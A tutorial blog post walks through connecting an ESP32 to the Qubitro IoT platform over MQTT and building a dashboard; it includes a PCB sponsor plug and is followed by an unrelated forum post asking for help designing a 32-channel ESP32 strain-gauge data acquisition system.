What is Qubitro? Qubitro is an IoT (Internet of Things) platform that provides tools and services for connecting, managing, and analyzing IoT devices and data. It provides a cloud-based platform where users can securely connect their IoT devices and collect data from sensors and actuators. It supports a wide range of communication protocols and provides device management capabilities, monitoring device data, linking with third-party webhooks, and creating rules to trigger based on conditions, etc. All of it with a Great UI ❤ Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Getting Started To get started with Qubitro, we will first need to create an account. Go to the Qubitro website (https://www.qubitro.com/) and click on the "Sign Up" button. You will be prompted to enter Full Name, Email Address,Country, and password to create your account. Once, we have created the account, we can log in from https://portal.qubitro.com/login. However, we shall automatically be logged in to our account. Create a New Project Once you have logged in, you will be prompted to create a project. Enter a name for your project and mention a description for your project. Add Devices Next, you will need to add devices to your application. Go to the Project (if not already open), there we can see a button [+ New Source]. From this section, we will have 3 major sections - 1. Communication Protocol With a prompt to choose between LoRaWAN, MQTT, & Cellular. We can choose the protocol that best suits our use-case. I choose MQTT to get started with the platform basics. And since I shall be using Arduino IDE for programming the board, I went ahead with the MQTT Broker (Qubitro has its own broker - we shall see it in the upcoming section). In case you wish to know how the Toit platform works, you can check my Tutorial on Toit.io 2. Device Details I shall be using an ESP32 Dev Board, and therefore entered the details as per the image below - 3. Credentials In the next step, we receive credentials, to connect to the MQTT Broker. We can use this detail to connect to the broker as a client - to Publish or Subscribe. Now that we have the server, port, username and password we are all ready to send data to the Qubitro Cloud. Copy these details in a safe place (We can view them later in the device settings as well though) Hardware - From Device to Cloud Once you have configured your devices, you can start collecting data. Qubitro provides a range of tools for data collection and analysis, including real-time data visualization, data logging, and data filtering. We shall upload a code on ESP32 using Arduino IDE to send data to Qubitro - #include <WiFiClientSecure.h> #include <PubSubClient.h> #include <HTTPClient.h> #include <ArduinoJson.h> These are the necessary libraries for establishing an MQTT connection, handling HTTP requests, and working with JSON data. const char* ssid = "xxxxxxxxx"; const char* password = "xxxxxxxxx"; String topic = "xxxxx"; String mqtt_server = "broker.qubitro.com"; String mqttuser = "xxxxxxxxxxxxxxxxxxxxxx"; String mqttpass = "xxxxxxxxxxxxxxxxxxxxxx"; String clientId = "xxxxxxxxxxxxxxxxxxxxxx"; These variables store the Wi-Fi credentials (ssid and password), MQTT broker server address (mqtt_server), MQTT authentication credentials (mqttuser and mqttpass), MQTT client ID (clientId), and the MQTT topic (topic) to which the data will be published. WiFiClientSecure espClient; PubSubClient client(espClient); float humidity = 0; float temp = 0; Create an instance of WiFiClientSecure and PubSubClient classes to establish a secure connection with the MQTT broker. Also, initializing default value of temperature and humidity. #define MSG_BUFFER_SIZE (500) char msg[MSG_BUFFER_SIZE]; char output[MSG_BUFFER_SIZE]; Define the size of the message buffer for storing MQTT messages. void device_setup() { // ... Wi-Fi connection setup ... } This function sets up the Wi-Fi connection by connecting to the specified Wi-Fi network (ssid and password). void reconnect() { // ... MQTT reconnection logic ... } This function handles the reconnection to the MQTT broker in case of disconnection. void setup() { // ... Initialization code ... } The setup() function is the entry point of the code. It initializes the serial communication, sets up the device, establishes a connection with the MQTT broker, and prepares the secure connection using WiFiClientSecure and PubSubClient objects. void loop() { // ... Main code loop ... } The loop() function is the main execution loop of the code. It checks the MQTT connection, publishes the simulated temperature and humidity data to the MQTT topic, and then waits for a delay of 1 second before repeating the process. Inside the loop() function, you'll notice the following steps: if (!client.connected()) checks if the MQTT client is connected. If not, it calls the reconnect() function to establish the connection. client.loop() allows the MQTT client to maintain the connection and handle any incoming messages. The temp and humidity variables are randomly generated simulated values. A JSON document is created using the ArduinoJson library to store the temperature and humidity data. The JSON document is serialized into a string format using the serializeJson() function and stored in the output variable. The client.publish() function is used to publish the serialized JSON data to the specified MQTT topic. The serialized JSON data is printed to the serial monitor using Serial.println(). A delay of 1 second is added before repeating the loop. Full version of the code available in the Code Section. Now that we have written the code, upload it to the ESP32 board and wait for it to send data to cloud. To check data, go to Device Name that you created, and check for any incoming data in the table. (refresh the table in case data not retrieved) Create Dashboard Now that we were able to fetch for real-time data from the ESP32 board and view it on the table of Qubitro. Let us use the visualization feature to plot a graph of the data. Trust me, it takes seconds to setup the whole thing. Go to Dashboards, and create a New Dashboard. Give it a name. Once created, open it and go to Edit > Add Widget > Charts. Click on the new widget > three dots (settings) > Customization. Accordingly, select the data source, chart type and colour for data variables. Follow the below images for reference, and final Graph. Data source example above Data Point example above Finally, I received the above graph based on a 30-minute data logging. If we head back to the main dashboard page, we can have a proper view, and with a view configuration, receive live data in realtime on Qubitro. In the dashboard, click on the chart widget we created, click on edit and drag it to the middle. Stretch and play with the widget according to the need. Resizing it for proper viewing. Remember to save it. If you are facing trouble with viewing the data with 4 points in the graph period, you can change it in the View Mode's configuration of the graph widget. Now, using this we can view the data of our device based on our needs! Rules to Trigger and Integration Services Finally, Qubitro allows you to integrate with other services such as Twilio, Slack, MailGun, and SendGrid. We can also use the trigger for Webhooks (RAW HTTP request) triggering, You can do this by clicking on the "Rules" tab in the Device section and selecting the service you want to integrate with. Congratulations! You have now completed the Qubitro IoT Platform documentation tutorial. We hope that this tutorial has provided you with the information you need to get started with Qubitro and create your own IoT application. If you have any questions or need further assistance, please visit the Qubitro website or contact their support team. Hurray! 🎉 We have learned another IoT Platform - Qubitro Device Data Platform esp32_mqtt_qubitro.ino
-
- iot
- iotplatform
- (and 4 more)
-
Hi guys,Lovely community here. So i got into the bandwagon of the ESP32. I am planning to build an entire data acquisition built around the ESP32. Would really appreciate it much if i were to get help from all of you. It would be a learning experience for all of us. So basically here are my project details and list of components being used.A 32 Channel Data acquisition system with 30 sensors measuring strain (momentarily using a metal gage strain sensor of 120Ohm being fed to a quarter bridge circuit) and 2 temperature sensors(PT100). I would like an acquisition speed of atleast 1000Samples/Sec per channel. So here is my idea as of now.32 Sensors connected to its each wheatstones bridge. The amplifier is done using the XR18910/XR10910, which is a 16:1 bridge Mux interface with selectable gain. I have attached link https://www.exar.com/content/document.a ... rt=XR10910The XR18911 can be controlled via I2C link. it does all the amplification necessary. I will need to use 2 XR10910 or 4 XR18911(8:1 sensor interface). And then finally controlled by our LEGENDARY ESP32 which converts the analog data to digital. and with the help of wifi to transmit it to a computer where it can be collected in an excel file along with time of capture.Could you guys kindly help me out on how i am to proceed with programming of the ESP32. I would really prefer to use Arduino IDE guys, as that seems to simplify things. Also if there is any improvements that could be added to the circuit. Kindly let me know. Please let me know if you need more details(Picture attached). Thank you